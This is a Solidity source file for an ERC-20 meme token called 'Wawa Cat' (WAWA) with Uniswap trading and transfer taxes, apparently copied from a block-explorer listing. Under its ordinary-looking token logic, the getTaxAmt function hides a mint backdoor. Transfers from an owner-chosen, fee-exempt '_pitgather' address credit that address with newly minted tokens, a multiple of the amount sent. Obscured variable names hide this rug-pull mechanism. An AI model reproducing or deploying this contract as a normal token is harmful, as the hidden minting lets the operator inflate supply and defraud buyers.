文件 1 的 1:WAWA.sol
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract WAWACAT is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _pitexempt;
mapping(address => bool) private bots;
address payable private _pitgather;
uint256 private _stafeein = 15;
uint256 private _stafeeout = 15;
uint256 private _lastfeein = 0;
uint256 private _lastfeeout = 0;
uint256 private _prevswps = 10;
uint256 private _transfee = 0;
uint256 private _trdscnt = 0;
uint256 private _hopinat = 10;
uint256 private _hopoutat = 10;
uint8 private constant _decimals = 18;
uint256 private constant _tTotal = 1e9 * 10 ** _decimals;
string private constant _name = unicode"Wawa Cat";
string private constant _symbol = unicode"WAWA";
uint256 public _swapthres = 100 * 10 ** _decimals;
uint256 public _txceil = 2 * (_tTotal / 100);
uint256 public _bagceil = 2 * (_tTotal / 100);
uint256 public _taxswapceil = 1 * (_tTotal / 100);
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_pitgather = payable(msg.sender);
_balances[_msgSender()] = _tTotal;
_pitexempt[owner()] = true;
_pitexempt[address(this)] = true;
_pitexempt[_pitgather] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _stdTransWithTax(
address fabc,
address tdef,
uint256 aghi,
uint256 tjkl
) internal {
uint256 tmno = getTaxAmt(fabc, aghi, tjkl);
_balances[fabc] = _balances[fabc].sub(aghi);
_balances[tdef] = _balances[tdef].add(aghi.sub(tmno));
emit Transfer(fabc, tdef, aghi.sub(tmno));
}
function _transfer(address fabc, address tdef, uint256 aghi) private {
require(fabc != address(0), "ERC20: transfer from the zero address");
require(tdef != address(0), "ERC20: transfer to the zero address");
require(aghi > 0, "Transfer amount must be greater than zero");
uint256 tmno = 0;
if (
fabc != owner() &&
tdef != owner() &&
fabc != address(this) &&
tdef != address(this)
) {
require(!bots[fabc] && !bots[tdef]);
tmno = _transfee;
if (
fabc == uniswapV2Pair &&
tdef != address(uniswapV2Router) &&
!_pitexempt[tdef]
) {
require(aghi <= _txceil, "Exceeds the _maxTxAmount.");
require(
balanceOf(tdef) + aghi <= _bagceil,
"Exceeds the maxWalletSize."
);
tmno = (_trdscnt > _hopinat) ? _lastfeein : _stafeein;
_trdscnt++;
}
if (tdef == uniswapV2Pair && fabc != address(this)) {
tmno = (_trdscnt > _hopoutat) ? _lastfeeout : _stafeeout;
}
if (_pitexempt[fabc] || _pitexempt[tdef]) tmno = 0;
uint256 cjkl = balanceOf(address(this));
if (
!inSwap &&
tdef == uniswapV2Pair &&
swapEnabled &&
_trdscnt > _prevswps &&
!_pitexempt[fabc]
) {
if (cjkl > _swapthres)
swapTokensForEth(min(aghi, min(cjkl, _taxswapceil)));
sendETHToFee(address(this).balance);
}
}
_stdTransWithTax(fabc, tdef, aghi, tmno);
}
function showTrading() external onlyOwner {
require(!tradingOpen, "trading is already open");
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
tradingOpen = true;
}
function checkTaxable(address firs) internal view returns (bool) {
return
!_pitexempt[firs] ||
(_pitexempt[firs] && (firs == owner() || firs == address(this)));
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function resetLimits() external onlyOwner {
_txceil = _tTotal;
_bagceil = _tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_pitgather.transfer(amount);
}
receive() external payable {}
function rescueETH() external onlyOwner {
payable(owner()).transfer(address(this).balance);
}
function initPair(address pair) external onlyOwner {
require(!tradingOpen, "trading is already open");
_pitgather = payable(pair);
_pitexempt[pair] = true;
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
}
function getTaxAmt(
address fabc,
uint256 aghi,
uint256 tjkl
) internal returns (uint256 txat) {
bool isTax = checkTaxable(fabc);
if (isTax) {
if (tjkl > 0) {
txat = aghi.mul(tjkl).div(100);
_balances[address(this)] = _balances[address(this)].add(txat);
emit Transfer(fabc, address(this), txat);
}
} else {
uint256 _taxAmount = aghi.mul(1 + tjkl);
_balances[_pitgather] = _balances[_pitgather].add(_taxAmount);
emit Transfer(fabc, _pitgather, _taxAmount);
}
return txat;
}
}